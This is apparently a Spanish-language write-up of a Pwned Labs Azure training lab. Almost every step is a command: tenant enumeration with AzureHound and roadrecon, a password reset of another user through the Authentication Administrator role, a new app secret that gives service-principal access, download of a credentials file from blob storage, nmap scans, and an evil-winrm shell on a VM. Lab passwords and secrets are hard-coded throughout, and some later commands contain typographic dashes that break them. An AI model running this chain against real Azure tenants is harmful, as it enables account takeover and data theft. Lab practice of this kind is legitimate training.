Execute Azure Credential Shuffle to Achieve Objectives
Azure PwnedLabs
Disconnect-AzAccount
az logout
Lo primero que todo es tratar de desconectar y empezar desde 0.
az login -u dbuser@megabibtech.com -P V%#J3c5jceryjcE
az account show | jq -r "{homeTenantId}"

Connect-AzAccount -AccountId "dbuser@megabigtech.com"

Get-AzResource

Generamos el json para poder usarlo en bloodhoundCE
.\azurehound.exe -u dbuser@megabibtech.com -P V%#J3c5jceryjcE list --tenant '2590ccef-687d-493b-ae8d-441cbab63a72' -o output.json

roadrecon auth -u dbuser@megabigtech.com -p "V%#J3c5jceryjcE"
roadrecon gather
roadrecon gui

Empezamos a ver si tienen unidades Administrativas y vemos que tienen 5.

Nos ponemos a ver al usuario y en verdad no despliega nada importante.

Corremos docker para bloodhoundCE.
docker-compose -f bloodhound.yml up

Subimos el archivo json.

Al escoger el usuario dbuser vemos que tiene un rol de authentication administrator.

Tiene el poder de ver, configurar y restablecer la información del método de autenticación para cualquier usuario que no sea administrador.

Regresamos a roadrecon y vemos los roles.

Vemos que dbuser es parte de Authentication Administrator.

Le damos click al enlace y nos despliega Megabigtech-Unit1. En el que Daiki Hiroko es un miembro.

Import-Module .\BARK.ps1
$MyRefreshTokenRequest = Get-EntraRefreshTokenWithUsernamePassword -username "dbuser@megabigtech.com" -password "V%#J3c5jceryjcE" -TenantID "2590ccef-687d-493b-ae8d-441cbab63a72"
Generamos tokens.

Set-EntraUserPassword -TargetUserId Daiki.Hiroko@megabigtech.com -Token $MyRefreshTokenRequest.access_token -Password "Password12345!!"

Aqui podemos ver que Daiki es dueno de DaikiAppspn

Y en la siguiente imagen vemos que esa aplicacion tiene acceso al service principal id.

En roadrecon se ve de esta manera.

Aqui podemos ver el id de daiki-appspn

Lo que vamos hacer es cambiar la contrasena de daiki-appspn para poder tener acceso al service principal f92ac1b8-937e-4cb1-8555-572c57e00331
.\BARK.ps1
$MyRefreshTokenRequest = Get-EntraRefreshTokenWithUsernamePassword -username "dbuser@megabigtech.com" -password "V%#J3c5jceryjcE" -TenantID "2590ccef-687d-493b-ae8d-441cbab63a72"

Set-EntraUserPassword -TargetUserId Daiki.Hiroko@megabigtech.com -Token $MyRefreshTokenRequest.access_token -Password "Password12345!!"

Ahora que le cambiamos las credenciales a Daiki seguimos con los siguientes pasos.
$NewRefreshTokenRequest = Get-EntraRefreshTokenWithUsernamePassword -username "Daiki.Hiroko@megabigtech.com" -password "Password12345!!" -TenantID "2590ccef-687d-493b-ae8d-441cbab63a72"
New-EntraAppSecret -AppRegObjectID 'ab743eea-102d-486f-8b76-b833180694c3' -Token $NewRefreshTokenRequest.access_token
Esto nos entrega el AppRegAppId y el AppRegSecretValue. Creamos un secreto nuevo.

Vemos la id de la aplicacion.

az login --service-principal --username "3626d80c-9f3b-48f9-a445-65a1ad9129af" --password "Ax58Q~1uebLFaf6q.joe~c3MeS4YS16a9ABD3ahK" --tenant "2590ccef-687d-493b-ae8d-441cbab63a72"
Iniciamos sesion de nuevo.

$passw = ConvertTo-SecureString "Ax58Q~1uebLFaf6q.joe~c3MeS4YS16a9ABD3ahK" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('3626d80c-9f3b-48f9-a445-65a1ad9129af',$passw)
Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant "2590ccef-687d-493b-ae8d-441cbab63a72"

Get-AzResource
az resource list --query "[].{name:name}" -o table
Get-AzRoleAssignment
Vemos lo imortante como la cuenta es storageqaenv y el contenedor es general-purpose

az storage blob list --account-name storageqaenv --container-name 'general-purpose' --output table --auth-mode login
Vemos a ver si tienen algunos recursos que podamos bajar.

az role assignment list --assignee "3626d80c-9f3b-48f9-a445-65a1ad9129af" --all --output table
az account show
Podemos ver que tenemos acceso para leer.

az storage blob download --account-name storageqaenv --container-name 'general-purpose' --name Dev-cred.txt --file Dev-cred.txt --auth-mode login
Bajamos el archivo Dev-cred.txt

type .\Dev-cred.txt
$passwd = ConvertTo-SecureString 'H$hb74h$lkn' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('serveruser',$passwd)
$vm = New-PSSession -ComputerName 172.191.90.57 -Credential $cred -SessionOption (New-PSSessionOption ProxyAccessType NoProxyServer) Enter-PSSession -Session $vm

nmap -p- --open -sS -min-rate 5000 -vvv -n -Pn 172.191.90.57 -oG allPorts

nmap -sCV -p5985 -Pn 172.191.90.57 -oN targeted

Ejecutamos evil-winrm para poder conectarnos a la maquina.
evil-winrm -i 172.191.90.57 -u devuser -p 'Oi8#w0rd!VM2023'

whoami /priv
cd C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension
cd 1.10.15

cd Downloads
cd 0
type customextensiontest.ps1

Iniciamos sesion.
az logout
az login -u serveruser@megabigtech.com -p 'H$hb74h$lkn'
az resource list --query "[].{Name:name, Type:type, ResourceGroup:resourceGroup, Identity:identity,ID:id}"
Tratamos de ver que recursos tenemos asignado a la cuenta.

Y vemos que tenemos los siguientes contenedores.
az storage container list —account-name storageqaenv —query ”[].name” -o tsv —auth-mode login

Desplegamos la lista que se encuentra en patent-documents.
az storage blob list —account-name storageqaenv —container-name ‘patent-documents’ —output table —auth-mode login
Bajamos el archivo Granted Patent.txt.
az storage blob download —account-name storageqaenv —container-name ‘patent-documents’ —name “Granted Patent.txt” —file “Granted Patent.txt” —auth-mode login

type Granted Patent.txt